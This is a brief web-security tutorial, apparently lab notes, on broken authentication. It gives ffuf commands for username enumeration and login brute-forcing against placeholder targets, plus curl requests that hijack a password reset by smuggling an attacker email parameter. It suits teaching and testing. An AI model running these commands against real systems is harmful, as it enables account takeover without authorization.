Broken Authentication

The authentication mechanisms that manage a system's sessions, if poorly designed and/or implemented, can be defeated by attackers. Let's see how threat actors do that.

Fuzzing for usernames

Some applications will output specific error messages whenever a username is not available during the Signup process. Those can be used to an attacker's advantage to enumerate potential usernames using wordlists

ffuf -w /opt/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://target_ip/signup_page -mr "username already exists"

Bruteforcing authentication forms

Once we have a list of existing usernames, we can switch to the login page and start fuzzing both usernamd and the password parameter at the same time.

ffuf -w valid_usernames.txt:W1,/opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://target_ip/login_page -fc 200

Subverting application logic

Some applications handle their authentication processes in a specific way, and the logic of said processes is sometimes inherently flawed. As an example, what if a form handled sensitive parameters (like an email used to reset a password) poorly ? Imagine if the username was sent to the server in POST field, and the reset email in the query string. A normal curl request would look similar to this.

curl 'http://target_ip/customers/reset?email=user%40target.com' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=user'

Well as it turns out, if we add an additional header named the same as the query string key, the former will take priority within the application logic :

curl 'http://target_ip/customers/reset?email=user%40target.com' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&[email protected]'